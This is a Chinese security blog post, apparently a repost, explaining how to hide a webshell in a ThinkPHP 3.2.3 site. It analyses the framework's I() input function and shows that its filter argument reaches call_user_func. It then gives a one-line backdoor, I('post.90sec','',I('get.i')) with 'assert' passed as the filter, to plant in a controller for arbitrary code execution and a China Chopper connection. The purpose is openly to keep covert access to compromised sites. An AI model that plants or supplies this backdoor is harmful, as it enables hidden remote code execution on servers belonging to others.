
正文
ThinkPHP留后门技巧
提示:扫一扫查出行【扫一扫了解最新限行尾号】
复制提示
原文链接:https://www.leavesongs.com/PENETRATION/thinkphp-callback-backdoor.html
90sec上有人问,我说了还有小白不会用。去年我审计TP的时候留意到的,干脆分析一下代码和操作过程。
thinkphp的I函数,是其处理输入的函数,一般用法为I('get.id')——从$_GET数组中取出键为id的值,post、cookie类似。
let me see see I函数的代码:
01
|
function
I(
$name
,
$default
=
''
,
$filter
= null,
$datas
= null)
|
02
|
{
|
03
|
...
|
04
|
05
|
if
(
''
==
$name
) {
|
06
|
// 获取全部变量
|
07
|
$data
=
$input
;
|
08
|
$filters
= isset(
$filter
) ?
$filter
: C(
'DEFAULT_FILTER'
);
|
09
|
if
(
$filters
) {
|
10
|
if
(
is_string
(
$filters
)) {
|
11
|
$filters
=
explode
(
','
,
$filters
);
|
12
|
}
|
13
|
foreach
(
$filters
as
$filter
) {
|
14
|
$data
= array_map_recursive(
$filter
,
$data
);
// 参数过滤
|
15
|
}
|
16
|
}
|
17
|
}
elseif
(isset(
$input
[
$name
])) {
|
18
|
// 取值操作
|
19
|
$data
=
$input
[
$name
];
|
20
|
$filters
= isset(
$filter
) ?
$filter
: C(
'DEFAULT_FILTER'
);
|
21
|
if
(
$filters
) {
|
22
|
if
(
is_string
(
$filters
)) {
|
23
|
if
(0 ===
strpos
(
$filters
,
'/'
)) {
|
24
|
if
(1 !== preg_match(
$filters
, (string)
$data
)) {
|
25
|
// 支持正则验证
|
26
|
return
isset(
$default
) ?
$default
: null;
|
27
|
}
|
28
|
}
else
{
|
29
|
$filters
=
explode
(
','
,
$filters
);
|
30
|
}
|
31
|
}
elseif
(
is_int
(
$filters
)) {
|
32
|
$filters
=
array
(
$filters
);
|
33
|
}
|
34
|
35
|
if
(
is_array
(
$filters
)) {
|
36
|
foreach
(
$filters
as
$filter
) {
|
37
|
if
(function_exists(
$filter
)) {
|
38
|
$data
=
is_array
(
$data
) ? array_map_recursive(
$filter
,
$data
) :
$filter
(
$data
);
// 参数过滤
|
39
|
}
else
{
|
40
|
$data
= filter_var(
$data
,
is_int
(
$filter
) ?
$filter
: filter_id(
$filter
));
|
41
|
if
(false ===
$data
) {
|
42
|
return
isset(
$default
) ?
$default
: null;
|
43
|
}
|
44
|
}
|
45
|
}
|
46
|
}
|
47
|
}
|
48
|
...
|
49
|
return
$data
;
|
50
|
}
|
I函数的第三个参数是$filter,作用是对变量的过滤。
新版本(3.2.3)中,$filter可以传入两种4种值:
1.一个过滤函数(字符串)
2.一些过滤函数组成的字符串,其间用“|”分割
3.一些过滤函数的字符串组成的数组
4.以“/”开头的正则表达式
可见代码,若$filter为空的话,其默认值为C('DEFAULT_FILTER')。我们在配置文件中可以看到,DEFAULT_FILTER=htmlspecialchars
以上4个情况最后归为两个,1是过滤回调函数,2是过滤的正则。正则部分如下:
1
|
if
(0 ===
strpos
(
$filters
,
'/'
)) {
|
2
|
if
(1 !== preg_match(
$filters
, (string)
$data
)) {
|
3
|
// 支持正则验证
|
4
|
return
isset(
$default
) ?
$default
: null;
|
5
|
}
|
6
|
}
|
如果第0个字符是/,则说明传入的是正则,用preg_match进行匹配验证,不匹配则返回默认值$default。
而回调函数部分,是我们留后门的关键。核心是这一段:
01
|
if
(
is_array
(
$filters
)) {
|
02
|
foreach
(
$filters
as
$filter
) {
|
03
|
if
(function_exists(
$filter
)) {
|
04
|
$data
=
is_array
(
$data
) ? array_map_recursive(
$filter
,
$data
) :
$filter
(
$data
);
// 参数过滤
|
05
|
}
else
{
|
06
|
$data
= filter_var(
$data
,
is_int
(
$filter
) ?
$filter
: filter_id(
$filter
));
|
07
|
if
(false ===
$data
) {
|
08
|
return
isset(
$default
) ?
$default
: null;
|
09
|
}
|
10
|
}
|
11
|
}
|
12
|
}
|
如果函数存在,则直接调用array_map_recursive执行。如果函数不存在,则用php默认的过滤器filter_var进行过滤。
我们跟进array_map_recursive函数:
01
|
function
array_map_recursive(
$filter
,
$data
)
|
02
|
{
|
03
|
$result
=
array
();
|
04
|
foreach
(
$data
as
$key
=>
$val
) {
|
05
|
$result
[
$key
] =
is_array
(
$val
)
|
06
|
? array_map_recursive(
$filter
,
$val
)
|
07
|
: call_user_func(
$filter
,
$val
);
|
08
|
}
|
09
|
return
$result
;
|
10
|
}
|
明显是一个递归执行的过程,最后调用的是call_user_func 。
还记得我说过的php回调后门么(https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html),ThinkPHP厚道,居然给我们预置了一个回调后门,让我们可以万分隐蔽的留下webshell。
所以,我们只需要随意找个controller,在可访问的方法中插入:
1
|
I(
'post.90sec'
,
''
, I(
'get.i'
));
|
如上,第三个参数就是刚说的$filter,我们只需要把回调后门函数名字(assert)作为第三个参数传入,即可构造一个回调后门。
我就拿thinkphp默认的IndexController下的index方法示例:
如下即可执行任意代码:
一个回调后门,菜刀也可以连接。







